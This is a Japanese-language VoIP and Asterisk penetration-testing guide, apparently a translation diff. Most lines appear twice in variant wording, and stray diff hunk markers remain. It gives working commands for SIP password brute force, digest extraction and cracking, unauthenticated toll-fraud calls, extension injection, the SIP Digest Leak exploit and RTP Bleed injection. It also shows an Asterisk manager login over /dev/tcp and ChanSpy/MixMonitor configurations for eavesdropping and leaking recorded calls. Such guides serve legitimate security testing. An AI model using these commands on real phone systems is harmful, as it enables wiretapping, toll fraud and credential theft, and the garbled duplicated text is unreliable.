* **`enumiax` (`apt install enumiax`): enumIAX** は、Inter Asterisk Exchange プロトコルの **ユーザー名ブルートフォース列挙子** です。enumIAX には、2つの異なるモードで動作することがあります。それは、Sequential Username Guessing または Dictionary Attack です
* **`enumiax` (`apt install enumiax`): enumIAX** はインターアスタリスク交換プロトコルの **ユーザー名ブルートフォース列挙ツール** です。enumIAX は、2つの異なるモードで動作することができます。シーケンシャルユーザー名推測または辞書攻撃
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
```
## VoIP 攻撃
## VoIP攻撃
### パスワードブルートフォース - オンライン
**PBX** といくつかの **拡張子/ユーザー名** を発見した後、Red Team は一般的なパスワードの辞書を使用して認証をブルートフォースするために **`REGISTER` メソッド** を使用して拡張子に認証を試みることができます。
**PBX**といくつかの**拡張/ユーザー名**を発見した場合、Red Teamは一般的なパスワードの辞書を使用して、拡張に対して**`REGISTER`メソッド**を介して**認証を試みる**ことができます。
{% hint style="danger" %}
**ユーザー名** が拡張子と同じである場合がありますが、これは PBX システム、その構成、および組織の設定によって異なる場合があります...
**ユーザー名**は拡張と同じである可能性がありますが、この慣行はPBXシステム、その設定、および組織の好みによって異なる場合があります...
ユーザー名が拡張と異なる場合は、**ユーザー名を特定してブルートフォースする必要があります**。
ユーザー名が拡張と異なる場合は、**ブルートフォースするためのユーザー名を特定する必要があります**。
{% endhint %}
* SIPVicious の **`svcrack`** (`sudo apt install sipvicious`)SVCrack を使用すると、PBX 上の特定のユーザー名/拡張子のパスワードをクラックすることができます。
* **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrackは、PBX上の特定のユーザー名/拡張のパスワードをクラッキングすることを可能にします。
```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrackは、SIPサービス用のリモートパスワードクラッカーです。Rcrackは、異なるIPアドレスとポート範囲の複数のユーザーのパスワードをテストできます。
* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrackは、SIPサービス用のリモートパスワードクラッカーです。Rcrackは、異なるIPおよびポート範囲で複数のユーザーのパスワードをテストできます。
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
### VoIPスニッフィング
**Metasploit**:
* **Metasploit**:
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
**オープンWifiネットワーク**内でVoIP機器を見つけた場合、**すべての情報をスニッフィング**できます。さらに、より閉じたネットワーク内にいる場合Ethernet経由で接続されているか、保護されたWifiに接続されている場合、**ARPスプーフィング**などの**MitM攻撃**を実行して、**PBXとゲートウェイ**間で情報をスニッフィングすることができます。
### VoIPスニッフィング
ネットワーク情報の中には、**機器を管理するためのWeb資格情報**、ユーザー**拡張機能**、**ユーザー名**、**IP**アドレス、さらには**ハッシュ化されたパスワード**や**会話を聞くために再生できるRTPパケット**などが含まれています。
**オープンWifiネットワーク**内にVoIP機器を見つけた場合、**すべての情報をスニッフィング**することができます。さらに、より閉じたネットワークEthernet経由または保護されたWifiに接続内にいる場合、**PBXとゲートウェイ**の間で**MitM攻撃**(例えば、[**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing))を実行して情報をスニッフィングすることができます。
この情報を取得するためには、Wireshark、tcpdumpなどのツールを使用できますが、VoIP会話をスニッフィングするために**特別に作成されたツール**である[**ucsniff**](https://github.com/Seabreg/ucsniff)を使用することもできます。
ネットワーク情報の中には、機器を管理するための**ウェブ認証情報**、ユーザーの**内線番号**、**ユーザー名**、**IP**アドレス、さらには**ハッシュ化されたパスワード**や**RTPパケット**が含まれており、これを再生して**会話を聞く**ことができます。
この情報を取得するために、Wiresharkやtcpdumpなどのツールを使用できますが、**VoIP会話をスニッフィングするために特別に作成されたツールは**[**ucsniff**](https://github.com/Seabreg/ucsniff)です。
{% hint style="danger" %}
**SIP通信でTLSが使用されている場合**、SIP通信を平文で表示することはできません。\
同様に、**SRTP**および**ZRTP**が使用されている場合、**RTPパケットは平文では表示されません**。
**SIP通信にTLSが使用されている**場合、SIP通信をクリアで見ることはできません。\
**SRTP**や**ZRTP**が使用されている場合も同様で、**RTPパケットはクリアテキストではありません**。
{% endhint %}
#### SIP資格情報(オフラインでのパスワードブルートフォース
#### SIP認証情報(パスワードブルートフォース - オフライン
**SIP REGISTER通信**の**理解を深めるための例**を[こちらで確認してください](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example)。これにより、SIPプロトコル内の**ダイジェスト認証**を**pcap**から**抽出**し、**ブルートフォース**することができる**`sipdump`**および**`sipcrack`****sipcrack**の一部)が含まれています(`apt-get install sipcrack`)。
[**SIP REGISTER通信**をよりよく理解するためのこの例を確認してください](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) **認証情報がどのように送信されるか**を学ぶために。
* **`sipdump`** & **`sipcrack`,** **sipcrack**の一部(`apt-get install sipcrack`これらのツールは、SIPプロトコル内の**ダイジェスト認証**を**抽出**し、**ブルートフォース**することができます。
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
```
* **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dumpは、pcapファイルからダイジェスト認証を抽出することができます。
* **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTSダンプは、pcapファイルからダイジェスト認証を抽出できます。
```bash
sippts dump -f capture.pcap -o data.txt
```
* **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrackは、SIPPTSダンプで取得したダイジェスト認証をクラッするためのツールです。
* **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrackは、SIPPTSダンプで取得したダイジェスト認証をクラッキングするためのツールです。
```bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt
```
* **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tsharkはPCAPファイルからSIPプロトコルのデータを抽出します。
* **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tsharkはPCAPファイルからSIPプロトコルのデータを抽出します。
```bash
sippts tshark -f capture.pcap [-filter auth]
```
#### DTMFコード
#### DTMF コード
ネットワークトラフィック中には、**SIP資格情報だけでなく**、**ボイスメール**にアクセスするために使用されるDTMFコードも見つけることができます。\
これらのコードは、**INFO SIPメッセージ**、**オーディオ**、または**RTPパケット**の中に送信することが可能です。RTPパケット内にコードが含まれている場合、会話のその部分を切り取り、ツールmultimoを使用してそれらを抽出することができます:
**SIP 認証情報**だけでなく、**ボイスメール**にアクセスするために使用される DTMF コードもネットワークトラフィック内で見つけることができます。\
これらのコードは **INFO SIP メッセージ**、**音声**、または **RTP パケット**内で送信することが可能です。コードが RTP パケット内にある場合、その会話の部分を切り取り、ツール multimo を使用して抽出することができます:
```bash
multimon -a DTMF -t wac pin.wav
```
### 無料通話 / Asterisks接続の設定ミス
### 無料通話 / Asterisk接続の設定
Asteriskでは、特定のIPアドレスからの接続または任意のIPアドレスからの接続を許可することが可能です:
Asteriskでは、**特定のIPアドレス**からの接続を許可することも、**任意のIPアドレス**からの接続を許可することも可能です:
```
host=10.10.10.10
host=dynamic
```
もしIPアドレスが指定されている場合、ホストは定期的にREGISTERリクエストを送信する必要はありません通常、REGISTERパケットには有効期限が含まれ、通常は30分であり、別のシナリオでは電話は30分ごとにREGISTERする必要があります。ただし、VoIPサーバーからの通話を受け入れるための接続を許可するオープンポートを持っている必要があります。
もしIPアドレスが指定されている場合、ホストは**REGISTER**リクエストを時々送信する必要がなくなりますREGISTERパケットには生存時間が送信され、通常は30分であり、他のシナリオでは電話は30分ごとにREGISTERする必要があります。ただし、VoIPサーバーからの接続を受け入れるためにオープンポートが必要です。
ユーザーを定義するためには、次のように定義できます:
ユーザーを定義するには、次のように定義できます:
- **`type=user`**:ユーザーはユーザーとしてのみ通話を受け取ることができます。
- **`type=friend`**ピアとして通話を行い、ユーザーとして受けることができます(拡張機能と共に使用されます)。
- **`type=peer`**:ピアとして通話を送受信することができますSIPトランク
* **`type=user`**: ユーザーとしてのみ通話を受けることができます。
* **`type=friend`**: ピアとして通話を行い、ユーザーとして受けることができます(拡張機能と共に使用)。
* **`type=peer`**: ピアとして通話を送受信できますSIPトランク
また、次のように安全でない変数を使用して信頼を確立することも可能です:
不正な変数を使用して信頼を確立することも可能です:
- **`insecure=port`**IPによって検証されたピア接続を許可します。
- **`insecure=invite`**INVITEメッセージの認証を必要としません。
- **`insecure=port,invite`**:両方
* **`insecure=port`**: IPによって検証されたピア接続を許可します。
* **`insecure=invite`**: INVITEメッセージの認証を必要としません。
* **`insecure=port,invite`**: 両方。
{% hint style="warning" %}
**`type=friend`**が使用される場合、**ホスト**変数の**値**は使用されませんので、管理者がその値を使用してSIPトランクを誤構成した場合、**誰でもそれに接続できる**可能性があります
**`type=friend`**が使用されると、**host**変数の**値**は**使用されません**。したがって、管理者がその値を使用して**SIPトランクを誤設定**した場合、**誰でも接続できるようになります**
たとえば、次の構成は脆弱です:\
例えば、この設定は脆弱です:\
`host=10.10.10.10`\
`insecure=port,invite`\
`type=friend`
{% endhint %}
### 無料通話 / Asteriskコンテキストの誤構成
### 無料通話 / Asteriskコンテキストの誤設定
Asteriskでは、**コンテキスト**はダイヤルプラン内の関連する拡張機能、アクション、およびルールを**グループ化する名前付きコンテナまたはセクション**です。ダイヤルプランはAsteriskシステムの中核コンポーネントであり、**着信および発信通話の処理とルーティング方法**を定義します。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分を分離するために使用されます。
Asteriskにおいて、**コンテキスト**はダイヤルプラン内の関連する拡張機能、アクション、およびルールを**グループ化する**名前付きコンテナまたはセクションです。ダイヤルプランはAsteriskシステムのコアコンポーネントであり、**着信および発信通話がどのように処理され、ルーティングされるかを定義します**。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分間の分離を提供するために使用されます。
各コンテキストは通常、**`extensions.conf`**ファイル内で定義されます。コンテキストは角かっこで囲まれ、その中にコンテキスト名が含まれています。例
各コンテキストは設定ファイル、通常は**`extensions.conf`**ファイルで定義されます。コンテキストは角括弧で示され、コンテキスト名がその中に囲まれています。例えば
```bash
csharpCopy code[my_context]
```
コンテキスト内では、拡張機能(ダイヤル番号のパターン)を定義し、それらを一連のアクションやアプリケーションに関連付けます。これらのアクションは、通話の処理方法を決定します。例えば:
内部のコンテキストでは、拡張子(ダイヤルされた番号のパターン)を定義し、それを一連のアクションやアプリケーションに関連付けます。これらのアクションは、通話がどのように処理されるかを決定します。例えば:
```scss
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
この例では、拡張機能「100」を持つ「my\_context」という単純なコンテキストが示されています。誰かが100をダイヤルすると、通話が受けられ、ウェルカムメッセージが再生され、その後通話が終了します。
この例は、「my\_context」というシンプルなコンテキストと「100」という拡張を示しています。誰かが100をダイヤルすると、通話が応答され、ウェルカムメッセージが再生され、その後通話が終了します。
これは**別のコンテキスト**で、**他の番号に発信できる**ようにします:
これは、**他の任意の番号に呼び出すことを許可する** **別のコンテキスト**です:
```scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
```
もし管理者が**デフォルトコンテキスト**を以下のように定義した場合:
もし管理者が**デフォルトコンテキスト**をのように定義した場合:
```
[default]
include => my_context
include => external
```
{% hint style="warning" %}
誰でも**サーバーを使用して他の番号に電話をかける**ことができます(サーバーの管理者が通話料を支払います)。
誰でも**サーバーを使って他の番号に電話をかけることができる**(サーバーの管理者が通話料金を支払うことになります)。
{% endhint %}
{% hint style="danger" %}
さらに、デフォルトで**`sip.conf`**ファイルには**`allowguest=true`**が含まれており、そのため**認証なし**の**どんな**攻撃者でも他の番号に電話をかけることができます。
さらに、デフォルトで**`sip.conf`**ファイルには**`allowguest=true`**が含まれているため、**認証なし**の**任意の**攻撃者が他の番号に電話をかけることができます。
{% endhint %}
* [**sippts**](https://github.com/Pepelux/sippts)**:** **`SIPPTS invite`**は、PBXサーバーが**認証なしで通話を許可するかどうか**をチェックします。 SIPサーバーが誤った構成を持っている場合、外部番号に電話をかけることができます。また、通話を第二の外部番号に転送することもできます。
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS inviteは、**PBXサーバーが認証なしで通話を許可しているかどうかを確認します**。SIPサーバーに不正な設定がある場合、外部番号への通話を許可します。また、通話を第二の外部番号に転送することも可能です。
たとえば、Asteriskサーバーのコンテキスト構成が悪い場合、AUTHORIZATIONなしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても電話をかけることができます。
例えば、Asteriskサーバーに不適切なコンテキスト設定がある場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても通話を行うことができます。
{% code overflow="wrap" %}
```bash
@ -416,21 +417,21 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
```
{% endcode %}
### 無料通話 / 設定ミスの IVRS
### 無料通話 / 誤設定されたIVRS
IVRS**Interactive Voice Response System** の略で、音声やタッチトーン入力を通じてコンピュータ化されたシステムとやり取りするための電話技術です。 IVRS は情報提供、通話のルーティング、ユーザー入力の収集など、さまざまな機能を提供する **自動通話処理** システムを構築するために使用されます。
IVRSは**インタラクティブ音声応答システム**を指し、ユーザーが音声またはトーン入力を通じてコンピュータ化されたシステムと対話することを可能にする電話技術です。IVRSは、情報提供、通話のルーティング、ユーザー入力の取得など、さまざまな機能を提供する**自動通話処理**システムを構築するために使用されます。
VoIP システムの IVRS は通常、以下の要素で構成されています:
VoIPシステムにおけるIVRSは通常、以下で構成されています:
1. **音声プロンプト**:ユーザーを IVR メニューオプションと手順に案内する事前録音された音声メッセージ。
2. **DTMF** (Dual-Tone Multi-Frequency) シグナリング:電話のキーを押すことで生成されるタッチトーン入力で、IVR メニューをナビゲートし、入力を提供するために使用されます。
3. **通話ルーティング**:ユーザー入力に基づいて、特定の部署、エージェント、または拡張機能など、適切な宛先に通話を誘導します。
4. **ユーザー入力の収集**:口座番号、ケース ID、またはその他の関連データなど、発信者から情報を収集します。
5. **外部システムとの統合**IVR システムをデータベースや他のソフトウェアシステムに接続して情報のアクセスや更新、アクションの実行、イベントのトリガーを行います。
1. **音声プロンプト**:ユーザーをIVRメニューオプションや指示に導く事前録音された音声メッセージ。
2. **DTMF**(デュアルトーン多周波)信号電話のキーを押すことで生成されるトーン入力で、IVRメニューをナビゲートし、入力を提供するために使用されます。
3. **通話ルーティング**:ユーザー入力に基づいて、特定の部門、エージェント、または内線など、適切な宛先に通話を誘導します。
4. **ユーザー入力の取得**呼び出し者からの情報を収集します。例えば、アカウント番号、ケースID、またはその他の関連データなどです。
5. **外部システムとの統合**IVRシステムをデータベースや他のソフトウェアシステムに接続し、情報にアクセスまたは更新し、アクションを実行したり、イベントをトリガーしたりします。
Asterisk VoIP システムでは、**`extensions.conf`** ファイルなどのダイヤルプランと `Background()`、`Playback()`、`Read()` などのさまざまなアプリケーションを使用して IVR を作成できます。これらのアプリケーションは、音声プロンプトの再生、ユーザー入力の収集、通話フローの制御を支援します。
Asterisk VoIPシステムでは、ダイヤルプラン(**`extensions.conf`**ファイル)と`Background()`、`Playback()`、`Read()`などのさまざまなアプリケーションを使用してIVRを作成できます。これらのアプリケーションは、音声プロンプトを再生し、ユーザー入力を取得し、通話の流れを制御するのに役立ちます。
#### 脆弱な構成の例
#### 脆弱な設定の例
```scss
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
@ -438,40 +439,40 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
前述は、ユーザーに対して、**1を押して部署に電話をかける**、**2を押して**別の部署に電話をかける、または**完全な内線番号**を知っている場合に入力するよう求める例です。\
脆弱性は、指定された**内線番号の長さがチェックされていないため、ユーザーが5秒のタイムアウト内に完全な番号を入力すると、その番号に電話がかかってしまう**という点です。
前述の例では、ユーザーに**1を押して**部門に電話するように、**2を押して**別の部門に電話するように、または知っている場合は**完全な内線番号**を入力するように求められます。\
脆弱性は、指定された**内線番号の長さがチェックされない**ため、ユーザーが5秒のタイムアウトを持つ完全な番号を入力すると、それが呼び出される可能性があることです。
### 内線番号インジェクション
### Extension Injection
次のような内線番号を使用します:
次のような内線を使用して:
```scss
exten => _X.,1,Dial(SIP/${EXTEN})
```
次に、**`${EXTEN}`** が呼び出される**内線**で、**ext 101 が入力された**場合、次のようになります:
Where **`${EXTEN}`** は **呼び出される内線番号** であり、**ext 101 が導入されると** これが起こります:
```scss
exten => 101,1,Dial(SIP/101)
```
しかし、もし**`${EXTEN}`**が数字以外を許可する場合古いAsteriskバージョンのように、攻撃者は**`101&SIP123123123`**を導入して電話番号123123123に電話をかけることができます。そして、その結果は次のようになります:
しかし、もし **`${EXTEN}`** が **数字以外のもの**古いAsteriskバージョンのようにを入力することを許可する場合、攻撃者は **`101&SIP123123123`** を入力して電話番号123123123に電話をかけることができます。そして、これが結果になります:
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
したがって、**`101`****`123123123`** の拡張子への通話が送信され、通話を受けた最初のものだけが確立されます...しかし、**一致をバイパスする拡張子**を使用する攻撃者が存在しないが実行されている場合、**望ましい番号にのみ通話を注入**することができます
したがって、**`101`**および**`123123123`**への呼び出しが送信され、最初のものだけが接続されます... しかし、攻撃者が**マッチをバイパスする拡張子**を使用し、存在しない場合、彼は**望ましい番号にのみ呼び出しを注入することができる**
## SIPDigestLeak脆弱性
## SIPDigestLeak 脆弱性
SIP Digest Leakは、ハードウェアおよびソフトウェアIP電話および電話アダプタVoIPからアナログを含む多数のSIP電話機に影響を与える脆弱性です。この脆弱性により、パスワードから計算されるDigest認証応答が**漏洩**します。その後、**オフラインパスワード攻撃**が可能となり、チャレンジレスポンスに基づいてほとんどのパスワードを回復できます。
SIP Digest Leakは、多くのSIP電話、ハードウェアおよびソフトウェアIP電話、電話アダプタVoIPからアナログに影響を与える脆弱性です。この脆弱性は、**パスワードから計算されたDigest認証応答の漏洩**を可能にします。**オフラインパスワード攻撃が可能**であり、チャレンジ応答に基づいてほとんどのパスワードを回復できます。
**[ここからの脆弱性シナリオ**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
**[脆弱性シナリオはこちらから**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. IP電話機(被害者)が任意のポート(例: 5060でリスニングし、電話を受け入れる
2. 攻撃者がIP電話機にINVITEを送信
3. 被害者電話機が鳴り始め、誰かが電話に出て切る(他の端末で電話に出ないため)
4. 電話が切られると、**被害者電話は攻撃者にBYEを送信**
5. **攻撃者は407レスポンスを発行**し、**認証を要求**し、認証チャレンジを発行
6. **被害者電話機は、2番目のBYEで認証チャレンジに応答**を提供
7. **攻撃者はローカルマシン(または分散ネットワークなど)でチャレンジレスポンスに対する総当たり攻撃**を実行し、パスワードを推測できます
1. IP電話被害者は任意のポート5060で電話を受け付けています
2. 攻撃者はIP電話にINVITEを送信します
3. 被害者の電話が鳴り、誰かが電話を取り、すぐに切ります(相手が応答しないため)
4. 電話が切られると、**被害者電話は攻撃者にBYEを送信します**
5. **攻撃者は407応答を発行し**、**認証を要求し**、認証チャレンジを発行します
6. **被害者の電話は2回目のBYEで認証チャレンジに対する応答を提供します**
7. **攻撃者はローカルマシン(または分散ネットワークなど)でチャレンジ応答に対してブルートフォース攻撃を発行し**、パスワードを推測できます
* **SIPPTS leak** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leakは、多数のSIP電話機に影響を与えるSIP Digest Leak脆弱性を悪用します。出力はSipCrack形式で保存され、SIPPTS dcrackまたはSipCrackツールを使用して総当たり攻撃を行うことができます。
* **SIPPTS漏洩**は[**sippts**](https://github.com/Pepelux/sippts)**から:** SIPPTS漏洩は、多くのSIP電話に影響を与えるSIP Digest Leak脆弱性を悪用します。出力はSipCrack形式で保存でき、SIPPTS dcrackまたはSipCrackツールを使用してブルートフォース攻撃できます。
```bash
sippts leak -i 10.10.0.10
@ -494,9 +495,9 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Callは、例えば製品に興味を持っている**Webユーザー**が**電話番号**を入力して電話を受けることを可能にします。その後、商用が呼び出され、ユーザーが**電話に出ると**エージェントと**接続されて呼び出されます**。
Click2Callは、**ウェブユーザー**(例えば、製品に興味があるかもしれない)に**電話番号**を**提供**させて、電話を受けることができます。次に、商業用の電話がかかり、彼が**電話に出る**と、ユーザーは**エージェントと接続されます**。
これに対する一般的なAsteriskプロファイルは次のとおりです
これに一般的なAsteriskプロファイルは次のとおりです
```scss
[web_user]
secret = complex_password
@ -506,27 +507,27 @@ displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
* 前のプロファイルでは、**パスワードがわかっていればどんなIPアドレスでも接続できる**ようになっています
* 前述のように、**通話を組織する**には、**読み取り権限は必要ありません**。**書き込み**で**発信**だけが必要です。
* 前のプロファイル**任意のIPアドレスが接続することを許可しています**(パスワードが知られている場合)
* 前述のように **通話を組織するためには**、**読み取り権限は必要なく**、**書き込み**の **発信**のみが必要です。
これらの権限があれば、パスワードを知っている任意のIPが接続し、情報を抽出することができます。
これらの権限があれば、パスワードを知っている任意のIPが接続し、過剰な情報を抽出することができます。
```bash
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
```
{% endcode %}
**追加の情報やアクションが要求される可能性があります。**
**さらなる情報やアクションが要求される場合があります。**
### **盗聴**
Asteriskでは、**`ChanSpy`** コマンドを使用して、監視する**内線**(またはすべての内線)を指定して、発生している会話を聞くことが可能です。このコマンドは内線に割り当てる必要があります。
Asteriskでは、**`ChanSpy`** コマンドを使用して、**監視する内線**(またはすべての内線)を指定することで、行われている会話を聞くことができます。このコマンドは内線に割り当てる必要があります。
例えば、**`exten => 333,1,ChanSpy('all',qb)`** は、内線333に**電話をかける**と、**すべて**の内線を**監視**し、新しい会話が始まるとすぐに(**`b`****静かなモード****`q`**)で聞き始めることを示します。会話を聞く代わりに、**`*`** を押すか、内線番号をマークすることで、別の会話に移ることができます。
例えば、**`exten => 333,1,ChanSpy('all',qb)`** は、**内線 333** に**電話**をかけると、**`all`** の内線を**監視**し、新しい会話が始まるときに**聞き始め****`b`**)、静かなモード(**`q`**)で行います。私たちはそれに対してインタラクトしたくないからです。**`*`** を押すか、内線番号を入力することで、行われている会話から別の会話に移動することができます。
また、**`ExtenSpy`** を使用して、1つの内線のみを監視することも可能です。
特定の内線のみを監視するために、**`ExtenSpy`** を使用することも可能です。
会話を聞く代わりに、**ファイルに録する**ことも可能で、次のような内線を使用します:
会話を聞く代わりに、内線を使用して**ファイルに録する**ことも可能です:
{% code overflow="wrap" %}
```scss
@ -536,90 +537,90 @@ exten => _X.,2,MixMonitor(${NAME})
```
{% endcode %}
通話は**`/tmp`**に保存されます。
通話は **`/tmp`** に保存されます。
Asteriskが閉じられると、通話内容を**漏洩**するスクリプトを実行させることさえできます。
Asterisk**通話を漏洩させるスクリプトを実行させる** こともできます。
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed脆弱性
### RTCPBleed 脆弱性
**RTCPBleed**は、2017年に公開されたAsteriskベースのVoIPサーバーに影響を与える重大なセキュリティ問題です。この脆弱性により、VoIP会話を運ぶ**RTPReal Time Protocolトラフィック**が、インターネット上の誰でもによって**傍受およびリダイレクト**される可能性があります。これは、RTPトラフィックがNATNetwork Address Translationファイアウォールを経由する際に認証をバイパスするために発生します。
**RTCPBleed** は、Asterisk ベースの VoIP サーバーに影響を与える重大なセキュリティ問題です2017年に公開。この脆弱性により、VoIP 通話を運ぶ **RTP (リアルタイムプロトコル) トラフィック****インターネット上の誰でも傍受され、リダイレクトされる** 可能性があります。これは、RTP トラフィックが NAT (ネットワークアドレス変換) ファイアウォールを通過する際に認証をバイパスするために発生します。
RTPプロキシは、RTCシステムに影響を与える**NATの制限**に対処するために、2つ以上のパーティー間でRTPストリームをプロキシングすることを試みます。NATが存在する場合、RTPプロキシソフトウェアは、通信SIPを介して取得したRTP IPおよびポート情報に依存できないことがよくあります。そのため、多くのRTPプロキシは、そのような**IPおよびポートの組み合わせが自動的に学習される**メカニズムを実装しています。これは、着信RTPトラフィックを検査し、着信RTPトラフィックのソースIPおよびポートを応答すべきものとしてマークすることによってしばしば行われます。このメカニズムは通常、「学習モード」と呼ばれ、**いかなる種類の認証も使用しません**。したがって、**攻撃者**は**RTPトラフィックをRTPプロキシに送信**し、進行中のRTPストリームの発信者または呼び出し先向けに意図されたプロキシされたRTPトラフィックを受信することができます。これをRTP Bleedと呼び、攻撃者が正規のユーザーに送信されるはずのRTPメディアストリームを受信できるようにします。
RTP プロキシは、2 つ以上の当事者間で RTP ストリームをプロキシすることによって RTC システムに影響を与える **NAT の制限** に対処しようとします。NAT が存在する場合、RTP プロキシソフトウェアは、しばしばシグナリングSIPを通じて取得された RTP IP およびポート情報に依存できません。したがって、いくつかの RTP プロキシは、そのような **IP およびポートのタプルを自動的に学習する** メカニズムを実装しています。これは、受信した RTP トラフィックを検査し、受信した RTP トラフィックのソース IP およびポートを応答すべきものとしてマークすることによって行われます。このメカニズムは「学習モード」と呼ばれることがあり、**いかなる種類の認証も使用しません**。したがって、**攻撃者****RTP トラフィックを RTP プロキシに送信し、進行中の RTP ストリームの発信者または受信者向けに意図されたプロキシされた RTP トラフィックを受け取る** ことができます。この脆弱性を RTP Bleed と呼ぶのは、攻撃者が正当なユーザーに送信されるはずの RTP メディアストリームを受信できるためです。
RTPプロキシとRTPスタックのもう1つの興味深い動作は、**RTP Bleedに脆弱でなくても**、**任意のソースからのRTPパケットを受け入れ、転送、および/または処理する**ことがあることです。したがって、攻撃者は正規のものの代わりに自分のメディアを注入することができるRTPパケットを送信できます。これをRTPインジェクション攻撃と呼び、既存のRTPストリームに不正なRTPパケットを注入することができます。この脆弱性は、RTPプロキシとエンドポイントの両方で見つかる可能性があります。
RTP プロキシおよび RTP スタックのもう一つの興味深い挙動は、時には **RTP Bleed に対して脆弱でなくても**、**任意のソースからの RTP パケットを受け入れ、転送し、または処理する** ことです。したがって、攻撃者は正当なメディアの代わりに自分のメディアを注入できる RTP パケットを送信できます。この攻撃を RTP 注入と呼ぶのは、既存の RTP ストリームに不正な RTP パケットを注入できるためです。この脆弱性は、RTP プロキシとエンドポイントの両方に存在する可能性があります。
AsteriskとFreePBXは、従来、**`NAT=yes`設定**を使用しており、RTPトラフィックが認証をバイパスすることを可能にし、通話で音声がないか片方向の音声になる可能性があります。
Asterisk と FreePBX は、伝統的に **`NAT=yes` 設定** を使用しており、これにより RTP トラフィックが認証をバイパスし、通話で音声がないか一方向の音声になる可能性があります。
詳細については、[https://www.rtpbleed.com/](https://www.rtpbleed.com/)を参照してください。
詳細については [https://www.rtpbleed.com/](https://www.rtpbleed.com/) を確認してください。
* **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedは、RTP Bleed脆弱性を検出し、RTPストリームを送信します。
* **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed は、RTP ストリームを送信することによって RTP Bleed 脆弱性を検出します。
```bash
sippts rtpbleed -i 10.10.0.10
```
* **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleedは、RTCPストリームを送信してRTP Bleed脆弱性を検出します。
* **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleedは、RTCPストリームを送信することでRTP Bleed脆弱性を検出します。
```bash
sippts rtcpbleed -i 10.10.0.10
```
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedfloodは、RTPストリームを送信するRTP Bleed脆弱性を悪用します。
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedfloodは、RTPストリームを送信することでRTP Bleed脆弱性を悪用します。
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinjectは、RTP Bleed脆弱性を悪用し、オーディオファイルWAV形式を注入します。
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinjectは、音声ファイルWAV形式を注入してRTP Bleed脆弱性を悪用します。
```bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### RCE
